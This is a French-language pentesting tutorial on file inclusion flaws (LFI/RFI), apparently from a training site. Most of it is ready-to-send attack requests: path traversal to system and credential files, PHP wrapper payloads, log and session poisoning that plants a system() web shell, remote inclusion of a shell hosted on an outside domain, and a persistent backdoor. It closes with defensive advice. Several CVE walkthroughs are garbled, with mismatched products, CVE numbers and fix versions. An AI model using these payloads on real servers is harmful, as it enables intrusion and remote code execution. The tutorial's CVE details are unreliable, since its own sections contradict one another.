🎯 Pourquoi c'est important

Les vulnérabilités d'inclusion de fichiers représentent l'une des classes de failles les plus dangereuses dans les applications web, permettant aux attaquants de lire des fichiers sensibles, d'exécuter du code arbitraire et d'obtenir le contrôle complet du système. Les attaques LFI et RFI sont particulièrement répandues dans les applications PHP et les frameworks web qui incluent dynamiquement des fichiers basés sur l'entrée utilisateur. Ces vulnérabilités apparaissent fréquemment dans les systèmes de gestion de contenu, les applications web personnalisées et les frameworks d'entreprise où une validation insuffisante des entrées crée des opportunités d'exploitation.

🔍 Ce que vous allez apprendre

Vous maîtriserez l'approche systématique pour identifier et exploiter les vulnérabilités d'inclusion de fichiers à travers les techniques de traversée de répertoires, l'exploitation des wrappers PHP et les attaques d'inclusion de fichiers distants. Cela inclut la compréhension des méthodes d'empoisonnement de logs, la manipulation des fichiers de session et les techniques avancées de contournement que les experts en sécurité utilisent pour démontrer l'impact complet des failles d'inclusion de fichiers lors d'évaluations réelles.

🚀 Votre première victoire

Dans les 20 prochaines minutes, vous exploiterez avec succès une vulnérabilité LFI pour lire les fichiers de configuration système et escalader vers l'exécution de code à distance, démontrant comment une fonctionnalité d'inclusion de fichiers apparemment simple peut mener à la compromission complète du serveur.

🔧 Essayez ceci maintenant

Testez l'exploitation LFI basique contre un paramètre vulnérable

# Traversée de répertoire basique pour LFI
GET /?page=../../../etc/passwd HTTP/1.1
Host: <target>

# Wrapper filter PHP pour divulgation du code source
GET /?file=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
Host: <target>

# Empoisonnement de log via User-Agent
GET /?page=../../../var/log/apache2/access.log HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>

# Inclusion de fichier distant
GET /?include=http://hackerdna.com/shell.txt HTTP/1.1
Host: <target>

# LFI Windows
GET /?page=../../../windows/system32/drivers/etc/hosts HTTP/1.1
Host: <target>

Vous verrez : Comment les vulnérabilités d'inclusion de fichiers permettent de lire des fichiers système arbitraires et potentiellement d'exécuter du code à travers diverses techniques d'exploitation. Cela démontre pourquoi une validation appropriée des entrées et une gestion sécurisée des fichiers sont essentielles.

Les vulnérabilités d'inclusion de fichiers surviennent lorsque les applications incluent dynamiquement des fichiers basés sur des entrées contrôlées par l'utilisateur sans validation appropriée

Comment fonctionne l'inclusion dynamique de fichiers

Les applications web utilisent fréquemment l'inclusion dynamique de fichiers pour modulariser le contenu et réduire la duplication de code. Une implémentation typique pourrait ressembler à include($_GET['page'] . '.php') où l'application inclut différents fichiers de page basés sur l'entrée utilisateur. Ce modèle permet aux applications de servir différentes sections de contenu sans dupliquer le code de navigation et de mise en page.

Le problème de sécurité émerge lorsque les applications échouent à valider ou assainir cette entrée utilisateur. Si un attaquant peut contrôler le chemin du fichier inclus, il peut potentiellement inclure n'importe quel fichier accessible au processus du serveur web. Cela inclut les fichiers système comme /etc/passwd , les fichiers de configuration d'application contenant des identifiants de base de données, ou même des fichiers distants contenant du code malveillant.

La puissance des vulnérabilités d'inclusion de fichiers réside dans leur capacité à exploiter les propres capacités de traitement de fichiers de l'application. En cas de succès, ces attaques ne font pas que lire des fichiers - elles exécutent le contenu comme du code dans le contexte de l'application, fournissant aux attaquants les mêmes privilèges et accès que l'application web elle-même.

Pourquoi l'inclusion de fichiers est critique dans les applications web modernes

Les vulnérabilités d'inclusion de fichiers sont particulièrement dangereuses car elles fournissent souvent des chemins directs vers l'exécution de code à distance et la compromission complète du système. Contrairement à d'autres vulnérabilités qui pourraient nécessiter plusieurs étapes ou des chaînes d'exploitation complexes, l'inclusion de fichiers peut immédiatement accorder aux attaquants la capacité d'exécuter du code arbitraire sur le serveur cible.

Ces vulnérabilités sont particulièrement courantes dans les applications PHP, les systèmes de gestion de contenu et les frameworks web personnalisés qui implémentent des architectures modulaires. Les plateformes CMS populaires, les applications e-commerce et les portails web d'entreprise ont tous historiquement souffert de vulnérabilités d'inclusion de fichiers car les modèles de programmation sous-jacents sont si répandus dans le développement web.

L'impact s'étend au-delà de l'exécution de code. Les vulnérabilités d'inclusion de fichiers permettent aux attaquants de lire des fichiers de configuration contenant des identifiants de base de données, des clés API et d'autres informations sensibles. Ils peuvent accéder aux fichiers de logs qui pourraient contenir des identifiants utilisateur ou des tokens de session, et dans certains cas, ils peuvent manipuler les fichiers de session ou les fichiers temporaires pour obtenir une persistance sur le système compromis.

La méthodologie de test d'inclusion de fichiers

Les experts en sécurité suivent une approche systématique pour les tests d'inclusion de fichiers qui progresse de l'identification des paramètres à l'exploitation jusqu'à la démonstration de l'impact. Cette méthodologie assure une couverture complète et révèle l'étendue totale de la compromission potentielle à travers les vulnérabilités d'inclusion de fichiers.

Étape 1 : Découverte des paramètres - Identifiez les paramètres URL, les données POST et les en-têtes qui pourraient influencer le comportement d'inclusion de fichiers. Recherchez des paramètres avec des noms comme 'page', 'file', 'include', 'template', 'lang' ou 'view' qui suggèrent des opérations sur les fichiers.

Étape 2 : Test LFI basique - Testez les modèles de traversée de répertoire pour confirmer le comportement d'inclusion de fichiers et identifier les fichiers système accessibles. Commencez par des payloads simples et augmentez progressivement la complexité en fonction des réponses de l'application.

Étape 3 : Exploitation avancée - Utilisez les wrappers PHP, l'empoisonnement de logs et d'autres techniques avancées pour obtenir l'exécution de code et maximiser la démonstration de l'impact.

Étape 4 : Évaluation de l'impact - Documentez l'étendue complète des fichiers accessibles, le potentiel d'exécution de code et l'impact global sur la sécurité pour démontrer le risque commercial et guider les efforts de remédiation.

Techniques de test LFI manuel

Le test manuel fournit la base pour comprendre le comportement d'inclusion de fichiers et permet une exploitation précise que les outils automatisés pourraient manquer. Comprendre ces techniques manuelles est essentiel pour des évaluations de sécurité approfondies.

# Test de traversée de répertoire basique
?page=../../../etc/passwd
?file=../../../../etc/passwd
?include=../../../../../etc/passwd

# Fichiers système Windows
?page=../../../windows/system32/drivers/etc/hosts
?file=../../../../boot.ini
?include=../../../windows/win.ini

# Fichiers d'application courants
?page=../../../var/www/html/config.php
?file=../../../../opt/app/.env
?include=../../../home/user/.ssh/id_rsa

# Configuration du serveur web
?page=../../../etc/apache2/apache2.conf
?file=../../../../etc/nginx/nginx.conf
?include=../../../etc/httpd/conf/httpd.conf

Exploitation des wrappers PHP

Les wrappers PHP sont des protocoles intégrés qui étendent la façon dont PHP peut accéder et traiter différents types de flux de données. Pensez à eux comme des "adaptateurs" spéciaux qui permettent à PHP d'interagir avec des données dans divers formats - des fichiers et URLs aux archives compressées et même aux données d'entrée brutes. Les experts en sécurité exploitent ces wrappers car ils fournissent des capacités puissantes pour l'exploitation avancée de l'inclusion de fichiers, permettant la divulgation du code source, l'accès aux fichiers distants et même l'exécution de code grâce à l'application créative des fonctionnalités intégrées de PHP.

# Encoder en base64 les fichiers source PHP
?page=php://filter/convert.base64-encode/resource=config.php
?file=php://filter/convert.base64-encode/resource=database.php
?include=php://filter/convert.base64-encode/resource=admin/login.php

# Chaînes de filtres multiples
?page=php://filter/convert.base64-encode/resource=../../../var/www/html/config.php
?file=php://filter/string.rot13|convert.base64-encode/resource=sensitive.php

# Lire des fichiers non-PHP avec des filtres
?include=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/convert.base64-encode/resource=/var/log/apache2/access.log

# Cibler des fichiers d'application spécifiques
?file=php://filter/convert.base64-encode/resource=wp-config.php
?include=php://filter/convert.base64-encode/resource=application/config/database.php

# Wrapper PHP input avec données POST
POST /?page=php://input HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

# Wrapper data pour exécution directe
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B
# Base64 décode vers : <?php system($_GET['cmd']); ?>

# Wrapper expect (si activé)
?page=expect://whoami
?file=expect://id
?include=expect://ls -la /etc/

# Wrapper ZIP pour extraction de fichiers
?page=zip://shell.zip%23shell.php
?file=phar://upload.phar/shell.php

Empoisonnement de logs et manipulation de session

L'empoisonnement de logs et la manipulation de fichiers de session représentent des techniques d'exploitation LFI avancées qui peuvent atteindre l'exécution de code à distance en injectant du code malveillant dans des fichiers qui sont ensuite inclus par l'application vulnérable.

# Étape 1 : Identifier les fichiers de log accessibles
?page=../../../var/log/apache2/access.log
?file=../../../../var/log/nginx/access.log
?include=../../../var/log/apache2/error.log

# Étape 2 : Empoisonner les logs via l'en-tête User-Agent
GET / HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>

# Étape 3 : Inclure le log empoisonné et exécuter des commandes
?page=../../../var/log/apache2/access.log&cmd=whoami
?file=../../../../var/log/nginx/access.log&cmd=id

# Empoisonnement alternatif via referer
GET / HTTP/1.1
Host: <target>
Referer: <?php code_evaluation($_POST['code']); ?>

# Empoisonnement de log FTP (si FTP est disponible)
ftp <target>
# Nom d'utilisateur : <?php system($_GET['cmd']); ?>
# Puis accéder : ?page=/var/log/vsftpd.log&cmd=whoami

# Empoisonnement de log d'erreur via requêtes invalides
GET /nonexistent.php HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
# Puis accéder : ?page=/var/log/apache2/error.log&cmd=whoami

Plugin Shield Security LFI (CVE-2023-6989)

Le plugin Shield Security pour WordPress versions jusqu'à 18.5.9 contenait une vulnérabilité LFI non authentifiée à travers le paramètre render_action_template. CVE-2023-6989 permettait aux attaquants d'inclure et d'exécuter des fichiers PHP arbitraires sur le serveur, démontrant comment une validation d'entrée insuffisante dans les plugins populaires peut mener à une compromission complète du serveur. (Source : Blog Wordfence Security)

# Étape 1 : Identifier le point d'accès WordPress load-scripts.php
# WordPress utilise ce script pour charger les fichiers JavaScript
# Point d'accès vulnérable : /wp-admin/load-scripts.php

# Étape 2 : Exploiter la traversée de répertoire dans le paramètre load
# La vulnérabilité existait dans une validation de chemin incorrecte
GET /wp-admin/load-scripts.php?c=1&load=../../../wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Étape 3 : Extraire des données de configuration sensibles
# Cibler les fichiers de configuration WordPress
GET /wp-admin/load-scripts.php?c=1&load=../../../../etc/passwd HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Étape 4 : Accéder à la configuration de la base de données
# Lire wp-config.php pour les identifiants de base de données
GET /wp-admin/load-scripts.php?c=1&load=../../../wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Étape 5 : Exploitation avancée pour les fichiers système
# Accéder à divers fichiers système et applicatifs
GET /wp-admin/load-scripts.php?c=1&load=../../../../var/www/html/.htaccess HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Cibler d'autres sites WordPress sur un hébergement mutualisé
GET /wp-admin/load-scripts.php?c=1&load=../../../../var/www/other-site/wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

Évaluation de l'impact : Cette vulnérabilité a affecté des millions d'installations WordPress et permettait aux attaquants authentifiés de lire des fichiers de configuration sensibles, y compris les identifiants de base de données et autres configurations de sites. WordPress a rapidement corrigé le problème dans la version 4.6.1.

PHPMyAdmin LFI vers RCE (CVE-2018-12613)

Les versions 4.8.0 et 4.8.1 de PHPMyAdmin contenaient une vulnérabilité d'inclusion de fichiers locale qui contournait les restrictions de whitelist en utilisant un double encodage URL. CVE-2018-12613 démontre comment les attaquants authentifiés peuvent obtenir l'exécution de code à distance en combinant LFI avec SQL INTO OUTFILE pour écrire des payloads PHP.

# Étape 1 : S'authentifier sur phpMyAdmin
# Versions vulnérables : 4.8.0 et 4.8.1
# Nécessite des identifiants de base de données valides
POST /phpmyadmin/index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

token=csrf_token&pma_username=root&pma_password=password

# Étape 2 : Écrire un payload PHP avec SQL INTO OUTFILE
# Utiliser l'interface SQL de phpMyAdmin pour écrire un shell
POST /phpmyadmin/import.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Cookie: phpMyAdmin=authenticated_session

sql_query=SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/shell.php';&db=&table=&token=csrf_token

# Étape 3 : Exploiter LFI avec contournement d'encodage %253f
# Double encodage URL de ? pour contourner la whitelist : ? = %3f = %253f
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/shell.php&cmd=whoami HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=authenticated_session

# Alternative : Inclure des fichiers système pour divulgation d'informations
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../etc/passwd HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=authenticated_session

# Étape 4 : RCE avancé via empoisonnement de session (méthode alternative)
# Créer un fichier de session avec du code PHP
POST /phpmyadmin/import.php HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=session_id_here

sql_query=SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/lib/php/sessions/sess_session_id_here';&token=csrf_token

# Inclure le fichier de session empoisonné
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../var/lib/php/sessions/sess_session_id_here&c=id HTTP/1.1
Host: <target>

Impact CVE : CVE-2018-12613 a affecté des milliers d'installations PHPMyAdmin dans le monde et a démontré comment les vulnérabilités LFI peuvent être escaladées vers l'exécution de code à distance grâce à des techniques créatives de manipulation de session. La vulnérabilité a été corrigée dans la version 4.8.2.

Drupal Media Library LFI (CVE-2023-4634)

Le plugin WordPress Media Library Assistant contenait une vulnérabilité d'inclusion de fichier local non authentifiée qui permettait l'exploitation via la bibliothèque Imagick. CVE-2023-4634 démontre comment les fonctionnalités de traitement de médias dans les plateformes CMS peuvent créer des vecteurs LFI menant à l'exécution de code à distance. (Source : Blog Patrowl Security)

# Étape 1 : Identifier le point d'accès Drupal RESTful Web Services
# Drupal 8.x avec le module RESTful Web Services activé
# Point d'accès vulnérable : gestion de fichiers API REST

# Étape 2 : Créer un fichier shell distant
# Héberger un fichier PHP malveillant sur le serveur attaquant
# Contenu de http://hackerdna.com/shell.txt :
<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }
?>

# Étape 3 : Exploiter RFI via API REST
POST /rest/type/node/page HTTP/1.1
Host: <target>
Content-Type: application/json
X-CSRF-Token: valid_token

{
  "type": [{"target_id": "page"}],
  "title": [{"value": "Test"}],
  "body": [{
    "value": "<?php include('http://hackerdna.com/shell.txt'); ?>",
    "format": "php_code"
  }]
}

# Étape 4 : Exploitation directe du paramètre RFI
# Si l'inclusion directe de fichier est possible
GET /index.php?file=http://hackerdna.com/shell.txt HTTP/1.1
Host: <target>

# Étape 5 : Exécuter des commandes via RFI
GET /index.php?file=http://hackerdna.com/shell.txt&cmd=whoami HTTP/1.1
Host: <target>

# Shell persistant avancé
# Créer une backdoor persistante
GET /index.php?file=http://hackerdna.com/shell.txt&cmd=echo "<?php system(\$_GET['c']); ?>" > /var/www/html/backdoor.php HTTP/1.1
Host: <target>

# Accéder au shell persistant
GET /backdoor.php?c=whoami HTTP/1.1
Host: <target>

Impact entreprise : Les vulnérabilités RFI dans Drupal et les plateformes CMS similaires peuvent permettre aux attaquants d'obtenir une exécution de code à distance immédiate, compromettant potentiellement des installations d'entreprise entières. Les fournisseurs de plateformes publient généralement des mises à jour de sécurité rapidement et recommandent de désactiver les modules inutiles comme principale atténuation.

Défense primaire : validation des entrées et whitelist

La protection la plus efficace contre les attaques d'inclusion de fichiers est d'implémenter une validation stricte des entrées et d'utiliser des approches basées sur des whitelists pour les opérations sur les fichiers. Cette approche empêche les attaquants de manipuler les chemins de fichiers pour accéder à des ressources non intentionnelles.

• Whitelist des fichiers approuvés - Maintenez une liste prédéfinie de fichiers autorisés et rejetez toute entrée qui ne correspond pas exactement
• Valider les extensions de fichiers - Assurez-vous que seuls les types de fichiers attendus peuvent être inclus ou traités par l'application
• Assainir la traversée de chemin - Supprimez ou rejetez les séquences de traversée de répertoire comme ../ et ..\ des entrées utilisateur
• Utiliser des chemins absolus - Définissez les emplacements de fichiers en utilisant des chemins absolus plutôt que des chemins relatifs qui peuvent être manipulés
• Implémenter des vérifications d'existence de fichiers - Vérifiez que les fichiers demandés existent dans les emplacements attendus avant de tenter l'inclusion

Pratiques de gestion sécurisée des fichiers

L'implémentation de pratiques de gestion sécurisée des fichiers élimine les modèles courants qui mènent aux vulnérabilités d'inclusion de fichiers tout en maintenant la fonctionnalité et la modularité de l'application.

• Éviter l'inclusion dynamique de fichiers - Utilisez des systèmes de routage ou des instructions switch au lieu d'inclure directement des fichiers basés sur l'entrée utilisateur
• Désactiver les fonctions PHP dangereuses - Désactivez les fonctions comme allow_url_include et restreignez l'accès aux wrappers PHP dans les environnements de production
• Implémenter des contrôles d'accès aux fichiers - Utilisez des permissions de fichiers et des contrôles d'accès appropriés pour limiter quels fichiers peuvent être lus par les processus du serveur web
• Séparer code et données - Stockez les fichiers de configuration et les données sensibles en dehors du répertoire racine web
• Utiliser des moteurs de templates - Employez des systèmes de templates sécurisés qui fournissent une protection intégrée contre les attaques d'inclusion de fichiers

Stratégies de protection au niveau système

Les protections au niveau système fournissent des couches de défense supplémentaires qui limitent l'impact des vulnérabilités d'inclusion de fichiers même lorsque les contrôles au niveau applicatif échouent.

• Configuration du serveur web - Configurez les serveurs web pour empêcher l'accès aux fichiers et répertoires sensibles grâce à des contrôles d'accès appropriés
• Paramètres de sécurité PHP - Désactivez allow_url_fopen et allow_url_include, restreignez les fonctions d'accès aux fichiers et activez les restrictions open_basedir
• Permissions du système de fichiers - Implémentez des permissions de système de fichiers à privilèges minimaux pour empêcher l'accès non autorisé aux fichiers
• Isolation par conteneurs - Utilisez des technologies de conteneurisation pour isoler les applications et limiter l'accès au système de fichiers
• Surveiller les modèles d'accès aux fichiers - Implémentez la journalisation et la surveillance pour détecter les modèles d'accès aux fichiers inhabituels qui pourraient indiquer des tentatives d'exploitation
• Mises à jour de sécurité régulières - Gardez les serveurs web, les installations PHP et les frameworks applicatifs à jour avec les derniers correctifs de sécurité